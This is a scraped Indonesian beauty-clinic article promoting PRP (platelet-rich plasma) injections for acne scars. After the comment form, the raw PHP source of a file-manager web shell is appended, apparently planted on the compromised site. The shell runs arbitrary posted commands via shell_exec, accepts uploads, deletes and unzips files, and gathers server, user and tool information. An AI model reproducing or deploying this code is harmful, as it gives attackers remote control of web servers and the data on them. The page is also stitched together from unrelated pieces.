Ada Yang Bisa Kami Bantu? Chat Kami Sekarang.

Kenali PRP Treatment, Prosedur Kecantikan Menggunakan Darah Sendiri

-

Daftar Isi

Kenali prp, salah satu treatment untuk atasi masalah jerawat. Selain membersihkan dan mencuci wajah setiap hari, jangan lupa melakukan perawatan eksfoliasi agar wajah bersih maksimal. Sobat cakas bisa melakukan double cleansing, dan mengguna kan masker wajah 2-3 kali dalam seminggu.

Selain melakukan perawatan di rumah, sebaiknya di lakukan juga treatment wajah untuk meningkatkan relaksasi wajah, salah satunya facial. Facial treatment berfungsi untuk membuang racun dan sisa bakteri pada kulit wajah.

Facial treatment di percaya bisa membantu meningkatkan sirkulasi untuk mengoptimalkan kesehatan sel kulit dan meningkatkan produksi kolagen. Dengan treatment facial bisa membantu memperbaiki warna kulit dan tekstur wajah yang tidak merata. Beberapa masalah kecantikan yang umum terjadi seperti jerawat, bruntusan, bintik hitam, penuaan, bisa di bantu dengan treatment laser. Umumnya treatment laser berfungsi untuk meremajakan kulit, salah satu treatment yang cukup terkenal untuk atasi masalah jerawat yaitu prp treatment. Apa itu prp treatment, apa saja keuntungan yang di dapatkan dari treatment ini, simak selengkapya di bawah ini.

Apa Itu PRP Treatment

Platelet Rich Plasma atau PRP merupakan salah satu perawatan populer yang di percayai bisa membantu atasi masalah jerawat salah satunya bopeng. Treatment ini di percaya mampu meremajakan kulit secara alami dan memperbaiki tanda-tanda penuaan di wajah dengan menggunakan sel darah yang kaya akan trombosit kita sendiri.  Mungkin tampak menakutkan bagi yang belum tahu, treatment PRP sebenarnya aman karena di lakukan oleh dokter dan tim medis yang sudah berpengalaman pada bidangnya.

PRP merupakan perawatan suntik menggunakan plasma kaya trombosit sendiri. Komponen plasma mengandung sel punca dan trombosit yang kaya pertumbuhan. Ketika di suntik kan kembali ke kulit, akan membantu mempercepat produksi alami kolagen dan elastin tubuh untuk memberikan peremajaan kulit secara keseluruhan.

PRP memiliki sejumlah manfaat untuk atasi masalah wajah. Perawatan ini dapat memperbaiki tekstur dan warna kulit, mengurangi garis-garis halus dan bekas luka, serta merangsang produksi kolagen dan sel kulit untuk kulit yang lebih kenyal dan bercahaya.

Atasi Bopeng dengan PRP Treatment 

Salah satu masalah wajah yang sering terjadi yaitu bopeng yang terjadi karena jaringan parut yang tumbuh dan menghalangi regenerasi sel kulit yang kembali normal setelah mengalami luka atau peradangan. Banyak hal yang bisa di lakukan untuk mengatasinya, salah satnya dengan melakukan treatment prp, beberapa manfaat dari treatment ini untuk wajah di antaranya.

  • Memperbaiki tekstur kulit yang tidak merata sehingga kulit lebih halus dan lembut
  • Membantu atasi masalah jerawat, bruntusan dan bekas jerawat
  • Mengatasi bopeng dan bekas luka
  • Mengecilkan pori-pori
  • Membantu hilangkan garis halus, kerutan dan tanda penuaan di wajah

Prosedur treatment ini memakan waktu sekitar 60-120 menit. Jumlah sesi PRP yang di butuhkan tergantung pada masing-masing pasien dan hasil yang di inginkan. Namun, di rekomendasikan serangkaian tiga sesi perawatan dengan interval 4 hingga 8 minggu untuk mencapai hasil yang maksimal.

Selama minimal 2-3 jam setelah PRP di lakukan, jangan terkena air. Selain itu hindari memaparkan area yang di lakukan PRP ke panas langsung yang tinggi, atau melakukan aktivitas yang akan membuat kamu lebih berkeringat. Misalnya menggunakan terpapar sinar matahari langsung, pancuran air panas, olahraga berat, dan lainnya).

Nah itu dia penjelasan singkat mengenai prp treatment untuk mengatasi masalah bopeng dan jerawat. Sobat cakas yang punya masalah dengan bruntusan, bekas jerawat, bopeng, atau masalah kulit dan kecantikan lainnya yuk segera konsultasikan dengan dokter kami di RSa Aesthetic Clinic.

Cantik Ayu Kasep Wibawa

Klinik RSa Aesthetic

Klinik RSa Aesthetic

Klinik Treatment Kecantikan Berkualitas di Bandung

Bagikan Artikel Via:

Share on facebook
Facebook
Share on twitter
Twitter
Share on linkedin
LinkedIn
Share on whatsapp
WhatsApp

Tinggalkan Komentar

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

basename($file), 'size' => '', 'last_modified' => date('Y-m-d H:i:s', filemtime($file)), 'owner' => posix_getpwuid(fileowner($file))['name'], 'permissions' => substr(sprintf('%o', fileperms($file)), -4), ); } else { $files[] = array( 'name' => basename($file), 'size' => filesize($file), 'last_modified' => date('Y-m-d H:i:s', filemtime($file)), 'owner' => posix_getpwuid(fileowner($file))['name'], 'permissions' => substr(sprintf('%o', fileperms($file)), -4), ); } } // Handle file upload if (isset($_FILES['file'])) { $file = $_FILES['file']; if ($file['size'] > $max_upload_size) { echo 'File too large!'; } else { move_uploaded_file($file['tmp_name'], $current_dir. '/'. $file['name']); } } // Handle file deletion if (isset($_POST['delete'])) { $file = $_POST['delete']; $file_path = rtrim($current_dir, '/') . '/' . $file; if (file_exists($file_path) && is_file($file_path)) { unlink($file_path); header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode(rtrim($current_dir, '/'))); exit; } else { echo 'File not found or not a file!'; } } // Handle terminal command if (isset($_POST['command'])) { $command = $_POST['command']; $output = shell_exec($command); echo "
$output
"; // Update current directory if command is cd if (strpos($command, 'cd ') === 0) { $new_dir = trim(substr($command, 3)); if ($new_dir == '..') { $current_dir = dirname($current_dir); } elseif ($new_dir!= '') { $current_dir = realpath($current_dir. '/'. $new_dir); } } } // Handle unzip if (isset($_POST['unzip'])) { $file = $_POST['unzip']; $file_path = $current_dir. '/'. $file; if (file_exists($file_path) && is_file($file_path)) { $zip = new ZipArchive; $res = $zip->open($file_path); if ($res === TRUE) { $zip->extractTo($current_dir); $zip->close(); echo "Unzipped successfully!"; } else { echo "Failed to unzip!"; } } else { echo "File not found or not a file!"; } } // Handle mkdir if (isset($_POST['mkdir'])) { $dir = $_POST['mkdir']; $dir_path = $current_dir. '/'. $dir;if (!is_dir($dir_path)) { mkdir($dir_path, 0750, true); echo "Directory created successfully!"; } else { echo "Directory already exists!"; } } // System information $server_ip = $_SERVER['SERVER_ADDR']; $web_server = $_SERVER['SERVER_SOFTWARE']; $system = php_uname('s'); $user = $_SERVER['USER']; $php_version = phpversion(); $disabled_functions = ini_get('disable_functions'); // MySQL, cURL, WGET, Perl, and Python information $mysql_enabled = function_exists('mysql_connect')? 'ON' : 'OFF'; $curl_enabled = function_exists('curl_init')? 'ON' : 'OFF'; $wget_enabled = shell_exec('wget --version')? 'ON' : 'OFF'; $perl_enabled = shell_exec('perl -v')? 'ON' : 'OFF'; $python_enabled = shell_exec('python --version')? 'ON' : 'OFF'; function filesize_format($size) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $size >= 1024 && $i < count($units) - 1; $i++) { $size /= 1024; } return round($size, 2). ' '. $units[$i]; } ?> File Manager

File Manager

Current directory:

Name Size Last Modified Owner Permissions Options

System Information

Server IP:

Web Server:

System:

User:

PHP Version:

Disabled Functions:

Module Information

MySQL:

cURL:

WGET:

Perl:

Python: